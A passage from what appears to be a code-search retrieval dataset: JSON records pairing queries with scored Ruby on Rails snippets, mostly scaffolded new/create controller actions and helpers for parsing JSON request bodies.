flash[:notice] = 'PropertyDetail was successfully created.'\n format.html { redirect_to(@property_detail) }\n format.xml { render :xml => @property_detail, :status => :created, :location => @property_detail }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @property_detail.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "94ceaaf9250cdc3d062aeb18bbab1a52", "score": "0.6120785", "text": "def new\n @newstuff = Newstuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newstuff }\n end\n end", "title": "" }, { "docid": "4dac9ef487de534315271c2c5db185fc", "score": "0.6120705", "text": "def new\n @phenotype = Phenotype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phenotype }\n end\n end", "title": "" }, { "docid": "ad6051d59c2c3c63a3fc4a460018adc9", "score": "0.611397", "text": "def new\n @vehicle = vehicle_type.new\n @list_of_properties = Property.all\n \n respond_to do |format|\n format.html # new.html.haml\n format.json { render json: @vehicle }\n end\n end", "title": "" }, { "docid": "9205b9ce7ff65475fb60642014a560c4", "score": "0.6104371", "text": "def new\n @pro = Pro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pro }\n end\n end", "title": "" }, { "docid": "23cdde8d4b1a2be0bc3eecca07b39e74", "score": "0.6100422", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end", "title": "" }, { "docid": "3821126e338da5e92e6b811c39c104c0", "score": "0.60893846", "text": "def new\n @provenance = Provenance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provenance }\n end\n end", "title": "" }, { "docid": "77bd3540428a699629c116564b5514f7", "score": "0.608412", "text": "def create\n @properties_path = PropertiesPath.new(params[:properties_path])\n\n respond_to do |format|\n if @properties_path.save\n format.html { redirect_to @properties_path, notice: 'Properties path was successfully created.' }\n format.json { render json: @properties_path, status: :created, location: @properties_path }\n else\n format.html { render action: \"new\" }\n format.json { render json: @properties_path.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c44085ac63e24f65a73bc0c5d35484f8", "score": "0.607627", "text": "def new\n @lookup_ref = LookupRef.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_ref }\n end\n end", "title": "" }, { "docid": "c44085ac63e24f65a73bc0c5d35484f8", "score": "0.607627", "text": "def new\n @lookup_ref = LookupRef.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_ref }\n end\n end", "title": "" }, { "docid": "8682bcb341a756334385aa9543c01dfa", "score": "0.6072667", "text": "def new\n @path = Path.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @path }\n end\n end", "title": "" }, { "docid": "8b11e90fcae099b99530b9e52bb1bc19", "score": "0.6069246", "text": "def new\n @change = Change.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @change }\n end\n end", "title": "" }, { "docid": "1c0633d34780fde435f4dc7afacaf36b", "score": "0.60585195", "text": "def new\n @proposition = Proposition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proposition }\n end\n end", "title": "" }, { "docid": "0186de454da1bbacc0c0e11f5e4361ac", "score": "0.6056204", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "0186de454da1bbacc0c0e11f5e4361ac", "score": "0.6056204", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "0186de454da1bbacc0c0e11f5e4361ac", "score": "0.6056204", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "0186de454da1bbacc0c0e11f5e4361ac", "score": "0.6056204", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "0186de454da1bbacc0c0e11f5e4361ac", "score": "0.6056204", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "533e0fadaff67795a407dbbacada796d", "score": "0.60507107", "text": "def create\n # @property = Property.new(property_params)\n @property = \"\"\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: \"Property was successfully created.\" }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entry }\n end\n end\n end", "title": "" }, { "docid": "dce3cdd49bc0c7b89fecc89647a56770", "score": "0.6044448", "text": "def create\n @conf_property = ConfProperty.new(params[:conf_property])\n\n respond_to do |format|\n if @conf_property.save\n format.html { redirect_to(@conf_property, :notice => 'Conf property was successfully created.') }\n format.xml { render :xml => @conf_property, :status => :created, :location => @conf_property }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @conf_property.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "072393a71baa0e00653fb77097b3f7f4", "score": "0.60421497", "text": "def new\n @device_property = DeviceProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @device_property }\n end\n end", "title": "" }, { "docid": "bc8854ce4017488bb9844a387ce34328", "score": "0.6041627", "text": "def new\n @image_property = ImageProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_property }\n end\n end", "title": "" }, { "docid": "1b297a8a51f362e77988e701e536aaae", "score": "0.60382897", "text": "def new\n admin_store_url\n @product_attribute = ProductAttribute.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_attribute }\n end\n end", "title": "" }, { "docid": "c2c496dfcd1d9bc44e095758667345bf", "score": "0.60377806", "text": "def new\n @patch = Patch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patch }\n end\n end", "title": "" }, { "docid": "c2c496dfcd1d9bc44e095758667345bf", "score": "0.60377806", "text": "def new\n @patch = Patch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patch }\n end\n end", "title": "" }, { "docid": "a485c0abecbb3678fb9af5c66012f2f9", "score": "0.6035035", "text": "def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render action: 'show', status: :created, location: @property }\n else\n format.html { render action: 'new' }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a485c0abecbb3678fb9af5c66012f2f9", "score": "0.6035035", "text": "def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render action: 'show', status: :created, location: @property }\n else\n format.html { render action: 'new' }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a485c0abecbb3678fb9af5c66012f2f9", "score": "0.6035035", "text": "def create\n @property = Property.new(property_params)\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render action: 'show', status: :created, location: @property }\n else\n format.html { render action: 'new' }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7799419aa3a1aa1f07fe6be6468d46a7", "score": "0.603463", "text": "def new\n @proyectostatus = Proyectostatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @proyectostatus }\n end\n end", "title": "" }, { "docid": "2d72772b06fab5d5fda3d3c48136ade0", "score": "0.60276777", "text": "def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d72772b06fab5d5fda3d3c48136ade0", "score": "0.60264486", "text": "def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d72772b06fab5d5fda3d3c48136ade0", "score": "0.60264486", "text": "def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d72772b06fab5d5fda3d3c48136ade0", "score": "0.60264486", "text": "def create\n @property = Property.new(params[:property])\n\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e1ebe24f01d39898097452208e01bc6", "score": "0.6025785", "text": "def create\n #create a property to save\n @property = Property.new(params[:property])\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render json: @property, status: :created, location: @property }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a5609082c89fa697d8133bd7e5861476", "score": "0.6019321", "text": "def create\n @property = Property.new(params[:property])\n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { head :ok }\n else\n format.html { render action: \"new\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "06d42550a4d2755cff39d28a7626e31b", "score": "0.6014519", "text": "def new\n @property_code = PropertyCode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property_code }\n end\n end", "title": "" }, { "docid": "5022b5155b0663828891fe3654f5dcba", "score": "0.60116524", "text": "def create\n @property = Property.new(property_params)\n \n respond_to do |format|\n if @property.save\n format.html { redirect_to @property, notice: 'Property was successfully created.' }\n format.json { render action: 'show', status: :created, location: @property }\n else\n format.html { render action: 'new' }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
f46f7bb0f8a6be0ed2061766269d244b
The body content needs to be a json.
[ { "docid": "41d9ea58b851c55945756e2a9135a1b1", "score": "0.0", "text": "def post_accounts(new_account)\n @options = {path: '/accounts/content',\n body: Megam::JSONCompat.to_json(new_account)}.merge(@options)\n\n request(\n :expects => 201,\n :method => :post,\n :body => @options[:body]\n )\n end", "title": "" } ]
[ { "docid": "8dd5f9bcef71b09bf348475a5ea089bf", "score": "0.8154448", "text": "def json_body; end", "title": "" }, { "docid": "23c4f1c3582bb14125dc7994224af4e9", "score": "0.8036816", "text": "def json_body\n if @body\n @json_body ||= JSON.parse(@body)\n end\n end", "title": "" }, { "docid": "ecb1b16ce847fe58f9c37ecf955c105b", "score": "0.79191196", "text": "def json\n decode_json(body)\n end", "title": "" }, { "docid": "df1ae66ec892cf5fd0e203be9eee195e", "score": "0.79032075", "text": "def json\n JSON.parse(@body)\n end", "title": "" }, { "docid": "6702dd014df6d899ddf40a259b0315e0", "score": "0.77441615", "text": "def json\n @body\n end", "title": "" }, { "docid": "4327a869137975ad41149bbb6f60b8c7", "score": "0.7730378", "text": "def parse_body\n JSON.load(body)\n end", "title": "" }, { "docid": "4327a869137975ad41149bbb6f60b8c7", "score": "0.7730378", "text": "def parse_body\n JSON.load(body)\n end", "title": "" }, { "docid": "a07d1f09e5f611d23fb3641d5cf3ef8e", "score": "0.769702", "text": "def json\n JSON.parse @body\n end", "title": "" }, { "docid": "791e5d66adcecf49a52d3888778d51e2", "score": "0.76660323", "text": "def body\n data.json\n end", "title": "" }, { "docid": "a7a0b87eace7e7b7038f734be1a97ae4", "score": "0.76462376", "text": "def body_as_json(json)\r\n @message_body_with_format = json\r\n format :json\r\n end", "title": "" }, { "docid": "5aa8a45c999868d90c9284b727bb024d", "score": "0.76127195", "text": "def body_json\n return nil if @body.blank?\n\n @body_json ||= JSON.parse(@body)\n end", "title": "" }, { "docid": "532f6709ebe67f0e1dded117a7a3302d", "score": "0.76030874", "text": "def json\n @json ||= JSON.parse(body)\n end", "title": "" }, { "docid": "f3558976bcbddb3cf9a02a192de16c42", "score": "0.75968206", "text": "def body\n JSON.parse raw.body\n rescue\n raw.body\n end", "title": "" }, { "docid": "f3558976bcbddb3cf9a02a192de16c42", "score": "0.75968206", "text": "def body\n JSON.parse raw.body\n rescue\n raw.body\n end", "title": "" }, { "docid": "0f333dac4f3835a2505396d3ab2b330b", "score": "0.7558244", "text": "def json\n @json ||= body.present? ? JSON.parse(body) : {}\n end", "title": "" }, { "docid": "86abd46a067f931947745fae10f252eb", "score": "0.7524263", "text": "def json_body\n JSON.parse(last_response.body)\n end", "title": "" }, { "docid": "8216dbbb8fb4d566c3f291ae5140e46c", "score": "0.73809123", "text": "def json\n self.body.rewind\n self.body.read\n end", "title": "" }, { "docid": "d50ba1086c894c6554b236455bb70a01", "score": "0.7317045", "text": "def body\n @body ||= JSON.parse(raw_body)\n end", "title": "" }, { "docid": "2f1e7f2bac20bfdcb3b4e24645e49bfd", "score": "0.73057705", "text": "def body_as_json\n body = raw_body\n\n halt 400, { :error => t('error.body_was_nil') }.to_json if body.nil?\n halt 400, { :error => t('error.body_was_blank') }.to_json if body.blank?\n\n begin\n return JSON.parse(body)\n rescue JSON::ParserError\n if defined?(Lookout::Rack::Utils::Log)\n Lookout::Rack::Utils::Log.instance.warn \"ParserError encountered parsing the request body (#{body})\"\n end\n halt 400, \"{}\"\n end\n end", "title": "" }, { "docid": "82024a442a2806fab2272cb353f32bd1", "score": "0.72996855", "text": "def json_body\n\t\t\t@json_body ||=\n\t\t\t\tbegin\n\t\t\t\t\tJSON.parse(req_body)\n\t\t\t\trescue JSON::ParserError\n\t\t\t\t\tnil\n\t\t\t\tend\n\t\tend", "title": "" }, { "docid": "46acbf9aa66f9b9a38e9e2627220fd5c", "score": "0.726997", "text": "def json\n JSON.parse body, symbolize_names: true\n end", "title": "" }, { "docid": "a70376d59acb73553a75bee21811e176", "score": "0.72170806", "text": "def body\n @body ||= JSON @response.body\n end", "title": "" }, { "docid": "2c7f86f3f54cb2f2d5e4320874c11049", "score": "0.71883076", "text": "def json\n @json ||= JSON.parse(body, symbolize_names: true)\n end", "title": "" }, { "docid": "75fb48f6f88fb4f3124572a0d826e38b", "score": "0.71464926", "text": "def json_body\n JSON.parse(request.body.read.to_s)\nend", "title": "" }, { "docid": "c980b5fe450e3684c2be032e0c4325cf", "score": "0.714535", "text": "def request_body_as_json\n @request_body_as_json ||=\n begin\n JSON.parse(request_body_as_string)\n rescue JSON::ParserError => e\n Logging.log_error(e)\n { body: request_body_as_string }\n end\n end", "title": "" }, { "docid": "be25a738f52c7b1ccfbccc68d0204c45", "score": "0.7079956", "text": "def json_data()\n JSON.load request.body\n end", "title": "" }, { "docid": "b076410f945a8bba7c7d61fb1a0f764c", "score": "0.7059055", "text": "def json(body)\n \tJSON.parse(body, symbolize_names: true)\n end", "title": "" }, { "docid": "9916ffbd5f5bb02320d9d7071e973764", "score": "0.70566577", "text": "def requestBody\n begin\n JSON.parse(request.body.read)\n rescue\n halt 400, { message:'The provided JSON is not valid!' }.to_json\n end\n end", "title": "" }, { "docid": "71d8efefa24c20d7179da53ba27f4a2b", "score": "0.70280075", "text": "def body\n json? ? handle_json : handle_raw\n end", "title": "" }, { "docid": "58b57ae7d2d22144e14fb144eb9aef3d", "score": "0.70101655", "text": "def json_data\n JSON.parse(request.body.read)\n end", "title": "" }, { "docid": "a4432e2e710410fa91fc62d968848086", "score": "0.7002104", "text": "def parse_body\n @raw = JSON.parse(@raw.body)\n end", "title": "" }, { "docid": "dca8498ee6644f824f0fcbd98d8fc15a", "score": "0.6997542", "text": "def body_as_json\n str_to_hash(response.body)\nend", "title": "" }, { "docid": "c8239188ee6d9d9d0adba1edad8f36ca", "score": "0.6986808", "text": "def json_body\n if @json_body.nil?\n body = enforce_valid_json_body\n @json_body ||= SinatraApiHelpers.symbolize_hash_keys(body)\n end\n @json_body\n end", "title": "" }, { "docid": "b05bea7ae635ad0a523c10d401ab19d7", "score": "0.6970882", "text": "def json_body(body)\n if body.is_a? Enumerable\n body.to_json\n else\n body\n end\n end", "title": "" }, { "docid": "51634abff7cc7fa083fa701c33aaebb1", "score": "0.69705695", "text": "def json\n @_json ||= ActiveSupport::JSON.decode(response.body)\n rescue StandardError\n raise StandardError.new(\"Expected JSON response, got #{response.body.inspect} instead.\")\n end", "title": "" }, { "docid": "96480fbdd9d693a769716a47f859b388", "score": "0.6950722", "text": "def json(body)\n JSON.parse(body, symbolize_names: true)\n end", "title": "" }, { "docid": "1b0a6c8745c8000f96ed9e0545e23c59", "score": "0.69340175", "text": "def json(body)\n JSON.parse(body, symbolize_names: true)\n end", "title": "" }, { "docid": "1b0a6c8745c8000f96ed9e0545e23c59", "score": "0.69340175", "text": "def json(body)\n JSON.parse(body, symbolize_names: true)\n end", "title": "" }, { "docid": "1b0a6c8745c8000f96ed9e0545e23c59", "score": "0.69340175", "text": "def json(body)\n JSON.parse(body, symbolize_names: true)\n end", "title": "" }, { "docid": "1b0a6c8745c8000f96ed9e0545e23c59", "score": "0.69340175", "text": "def json(body)\n JSON.parse(body, symbolize_names: true)\n end", "title": "" }, { "docid": "c3e946473c1bc517f1442ea80721aa47", "score": "0.6927642", "text": "def body\n JSON.parse(response.body) unless response.body.nil?\n rescue JSON::ParserError\n ''\n end", "title": "" }, { "docid": "c08b28ca70aff7b59a45a3695c79af0c", "score": "0.690855", "text": "def json\n JSON.parse(response.body)\n end", "title": "" }, { "docid": "6be329f23f83099294474b732400f883", "score": "0.6906607", "text": "def body\n @body ||= begin\n JSON.parse(resp.body)\n rescue JSON::ParserError\n {}\n end\n end", "title": "" }, { "docid": "3a77eb54fdfc4bace028bda17da93ec9", "score": "0.69019854", "text": "def json(body)\n JSON.parse(body, symbolize_keys: true)\n end", "title": "" }, { "docid": "4226d2e5a2a01ae42403c72cffb36d32", "score": "0.6894609", "text": "def json\n JSON.parse(response.body)\n end", "title": "" }, { "docid": "4226d2e5a2a01ae42403c72cffb36d32", "score": "0.6894609", "text": "def json\n JSON.parse(response.body)\n end", "title": "" }, { "docid": "4226d2e5a2a01ae42403c72cffb36d32", "score": "0.6894609", "text": "def json\n JSON.parse(response.body)\n end", "title": "" }, { "docid": "f8096fa0fc6508b6bde59e91999c761b", "score": "0.6894332", "text": "def json\n MultiJson.decode(body)\n end", "title": "" }, { "docid": "710faa8eea976100e2de8248cdfa2fb5", "score": "0.6889299", "text": "def body\n @response = JSON.parse(response)\n end", "title": "" }, { "docid": "5bb29e4dba6bfc60a4c4ede905f0c56b", "score": "0.687339", "text": "def json\n \tJSON.parse(response.body)\n end", "title": "" }, { "docid": "6c1860525b35b51593cb9d1bd046144b", "score": "0.6858291", "text": "def body\n return {} if @raw_response.body.strip.empty?\n\n JSON.parse(@raw_response.body)\n end", "title": "" }, { "docid": "038a77f53e05d7093fbd1b871e6de767", "score": "0.6815258", "text": "def as_json\n {\n type: :text,\n data:\n {\n text: body,\n format: :html\n }\n }\n end", "title": "" }, { "docid": "5140f37bcce694847513a6d039dbd01b", "score": "0.68014425", "text": "def json()\n return JSON.parse(@_response.body)\n end", "title": "" }, { "docid": "7f8509b77545d6dc72f0fc5f2db56fd8", "score": "0.6800051", "text": "def get_json_document\n json = {}\n\n begin\n json = JSON.parse(self.body)\n rescue JSON::ParserError => e\n elog(e)\n end\n\n json\n end", "title": "" }, { "docid": "1f28dab13a6a40135375b0a8cd659552", "score": "0.6796178", "text": "def json\n begin\n super\n rescue JSON::ParserError => e\n return \"#{body} - SendgridToolkit warning: We requested JSON, but the response generated the following error when we tried parsing it: #{e.class}: #{e}\"\n end\n end", "title": "" }, { "docid": "d89a1aa24357d669196a1276d5ad00dc", "score": "0.6792183", "text": "def body\n return {} if @raw_response.body.strip.empty?\n\n JSON.parse(@raw_response.body)\n end", "title": "" }, { "docid": "9fa512501e200cd1278acb1d9b652e45", "score": "0.67782474", "text": "def body_to_json\n @json = JSON.parse(@response.body)\n @json = @json.with_indifferent_access if @response.body && @json != [{}]\nend", "title": "" }, { "docid": "c8a3d3d96caec98f2669abfc47d1b38a", "score": "0.6760589", "text": "def response_json_body( response )\n\t\tresponse.body.rewind\n\t\tYajl::Parser.parse( response.body, check_utf8: true, symbolize_keys: true )\n\tend", "title": "" }, { "docid": "7290b939f6caa4881fdb8832b689b2df", "score": "0.6757441", "text": "def body\n MultiJson.load __getobj__.body\n end", "title": "" }, { "docid": "0887931a114d48c370f45f82e2d3f511", "score": "0.6754832", "text": "def parse_body\n return JSON.parse(@raw.body) if @raw.status == 200\n\n raise Diplomat::UnknownStatus, \"status #{@raw.status}: #{@raw.body}\"\n end", "title": "" }, { "docid": "de3bbab4ad4573b09a6102152a202da7", "score": "0.67341965", "text": "def parsed_body\n JSON.parse @resp.body\n rescue JSON::ParserError\n @resp.body\n end", "title": "" }, { "docid": "87b98733844a6f86dd209ae0fb8e7218", "score": "0.6733428", "text": "def json_data\n JSON.parse(request.body.read)\nend", "title": "" }, { "docid": "857d0ae54e09fffc03e92446d3c755d7", "score": "0.67298865", "text": "def encode_body(body, content_type)\n if content_type == 'application/json'\n dump_json(body)\n else\n body\n end\n end", "title": "" }, { "docid": "857d0ae54e09fffc03e92446d3c755d7", "score": "0.67286855", "text": "def encode_body(body, content_type)\n if content_type == 'application/json'\n dump_json(body)\n else\n body\n end\n end", "title": "" }, { "docid": "330df0d3344d827343b0b09aec0a3139", "score": "0.6721815", "text": "def json\n ActiveSupport::JSON.decode(response.body)\n end", "title": "" }, { "docid": "7614e8ec501b4d5041bac0954da621cf", "score": "0.67185616", "text": "def body\n @body ||= @response.response_body.blank? ? nil : JSON.parse(@response.response_body)\n end", "title": "" }, { "docid": "897580a1ca399ecc358d3a1e55a76eb8", "score": "0.6709094", "text": "def json_body_for(response)\n JSON.parse(response.body)['data']\n end", "title": "" }, { "docid": "897580a1ca399ecc358d3a1e55a76eb8", "score": "0.6709094", "text": "def json_body_for(response)\n JSON.parse(response.body)['data']\n end", "title": "" }, { "docid": "adf3f0250c8eebf39f5889eb0e88f3ea", "score": "0.67047554", "text": "def body\r\n @response = JSON.parse(response)\r\n rescue\r\n Spotify::Models::Error.parser_error\r\n end", "title": "" }, { "docid": "1360908b539b7030764f29c670d9fd64", "score": "0.66841483", "text": "def json\n ActiveSupport::JSON.decode @response.body\n end", "title": "" }, { "docid": "290cab8f580b8f3b04f8d2eddaf0d630", "score": "0.66701025", "text": "def parse_body\n @raw = JSON.parse(@raw.body).first\n end", "title": "" }, { "docid": "290cab8f580b8f3b04f8d2eddaf0d630", "score": "0.66701025", "text": "def parse_body\n @raw = JSON.parse(@raw.body).first\n end", "title": "" }, { "docid": "290cab8f580b8f3b04f8d2eddaf0d630", "score": "0.66701025", "text": "def parse_body\n @raw = JSON.parse(@raw.body).first\n end", "title": "" }, { "docid": "b87a4c4ecf56dfa4d79d7e9695786eab", "score": "0.666851", "text": "def parse_json(body)\n ActiveSupport::JSON.decode body\n end", "title": "" }, { "docid": "d104d2a38a3d1544bec84b0cb0d3c62e", "score": "0.66566914", "text": "def body\n @body ||= begin\n if json?\n NSJSONSerialization.JSONObjectWithData(@raw_body, options: 0, error: nil)\n else\n @raw_body\n end\n end\n end", "title": "" }, { "docid": "44e961be2c4034bb0d6da472366e9d68", "score": "0.66130763", "text": "def body_to_json\n @json = JSON.parse(@response.body).with_indifferent_access if @response.body.present?\nend", "title": "" }, { "docid": "a2ee231b140e7589bcb02f68b08c7aa6", "score": "0.66074336", "text": "def serialize_body(body)\n return body.to_json if body.respond_to?(:to_json)\n return MultiJson.dump(body.to_hash) if body.respond_to?(:to_hash)\n raise TypeError, 'Could not convert body object to JSON.' +\n 'Must respond to :to_json or :to_hash.'\n end", "title": "" }, { "docid": "8e893dca841d3cf1b7c1949dfcf86a6d", "score": "0.66032714", "text": "def response_body\n JSON.parse(last_response.body)\n end", "title": "" }, { "docid": "eaf9ef0e7e93c4e040d3e55b200d76ed", "score": "0.65939075", "text": "def response_body\n JSON.parse(last_response.body)\n end", "title": "" }, { "docid": "c23842f76fa2cd56343fac7970882e2c", "score": "0.6593474", "text": "def parsed_body\n hash = JSON.parse(@body)\n Hashie::Mash.new hash\n rescue\n {}\n end", "title": "" }, { "docid": "ee1dcb4065998bde81c20abf4164063b", "score": "0.6589748", "text": "def http_body; end", "title": "" }, { "docid": "ee1dcb4065998bde81c20abf4164063b", "score": "0.6589748", "text": "def http_body; end", "title": "" }, { "docid": "717fb7b386b80c1341e99120d04c754f", "score": "0.65577143", "text": "def json_params\n\t\tbegin\n\t\t\t@body = JSON.parse(request.body.read)\n\t\trescue\n\t\t\thalt 400, { message:'Invalid JSON' }.to_json\n\t\tend\n\tend", "title": "" }, { "docid": "764b4b9a12759d1c8d218b75d813a46a", "score": "0.6550487", "text": "def parse_body(body)\n if body\n if body.is_a?(Hash)\n body\n else\n begin\n data = JSON.parse(body)\n data\n rescue JSON::ParserError\n {}\n end\n end\n else\n {}\n end\nend", "title": "" }, { "docid": "65a1489849a814b12358a536cd4e6456", "score": "0.65292597", "text": "def with_json(json)\n @headers['Content-Type'] ||= 'application/json; charset=UTF-8'\n with_body(json)\n end", "title": "" }, { "docid": "c2203bd21f8634771e543cdb19364c11", "score": "0.65286803", "text": "def prepare_body(payload)\n body = payload.body\n\n if content_type = payload.headers['Content-Type']\n # Mismatches between Content-Type and body.encoding are fatal, so make\n # an effort to align them.\n if charset = content_type[/charset=([^;]+)/, 1]\n encoding = begin\n Encoding.find(charset)\n rescue StandardError\n nil\n end\n if encoding && body.encoding != encoding\n body.force_encoding(encoding)\n end\n end\n\n # pretty print json for easier searching\n if content_type =~ /\\bjson\\b/\n body = JSON.pretty_generate(JSON.parse(body))\n end\n end\n\n body\n end", "title": "" }, { "docid": "11e8161b62477660851ea68182001807", "score": "0.6528092", "text": "def json_reponse\n ActiveSupport::JSON.decode @response.body\n end", "title": "" }, { "docid": "12034e55a5ddbd64184a5ed30741b8e8", "score": "0.6525732", "text": "def parse(body)\n JSON.parse(body)\n end", "title": "" }, { "docid": "d07abf14bd931366366d69449bed981a", "score": "0.6504363", "text": "def parse_json\n JSON.parse(self.get_response_body)\n end", "title": "" }, { "docid": "90fb1fcb68d08e250e1a34f8b5bcd819", "score": "0.65018713", "text": "def json_data\n @data ||= JSON.parse(request.body.read)\n end", "title": "" }, { "docid": "1f02813e0aaa9d172804019aad405860", "score": "0.6495943", "text": "def json?\n parsed_body_valid?\n end", "title": "" }, { "docid": "21ea9ade215682b14edffb1f66a00cd6", "score": "0.6476416", "text": "def request_body; end", "title": "" }, { "docid": "34cd619a09ecf61e96359f2281debfa5", "score": "0.64724207", "text": "def json_response\n JSON.parse response.body\n end", "title": "" }, { "docid": "76d49f31413ef1cf862525d2e4575730", "score": "0.64682883", "text": "def hash_body\n @hash_body ||= Oj.load(json_body)\n end", "title": "" }, { "docid": "0cd407547524f4d01b84e022a4e308bc", "score": "0.6455261", "text": "def body_to_json(request)\n if !request.content_length.nil? && request.content_length != '0'\n return MultiJson.decode(request.body.read)\n else\n return nil\n end\n end", "title": "" }, { "docid": "5d2e068b245468c344c53bd8f3aaf840", "score": "0.6453925", "text": "def response_body\n JSON.parse response.body, symbolize_names: true\n end", "title": "" }, { "docid": "38defd2f3d5eae811f70d38d4e4ff9c0", "score": "0.6435185", "text": "def getRequestData()\n jsonBody = request.body.read\n JSON.parse jsonBody\nend", "title": "" }, { "docid": "06a52c8951f93ab37de420a238dc14bb", "score": "0.64128995", "text": "def json\n @json ||= JSON.load(payload)\n end", "title": "" }, { "docid": "78fac887efa7dee7d23dc18c8973014c", "score": "0.64069086", "text": "def payload_content_type\n 'application/json'\n end", "title": "" }, { "docid": "297c0b9c7ceff29d1ff082a56873af5c", "score": "0.640483", "text": "def with_json(json)\n @headers['Content-Type'] ||= 'application/json; charset=UTF-8'\n with_body(json)\n end", "title": "" }, { "docid": "297c0b9c7ceff29d1ff082a56873af5c", "score": "0.640483", "text": "def with_json(json)\n @headers['Content-Type'] ||= 'application/json; charset=UTF-8'\n with_body(json)\n end", "title": "" } ]
ada8cfae8a16b8f43d704c7caef259a6
Colorize UNIX output blue
[ { "docid": "ecbbdca753dfa4b10d9616aba5077bc3", "score": "0.0", "text": "def blue(string) \n \"\\e[34m#{string}\\e[0m\"\n end", "title": "" } ]
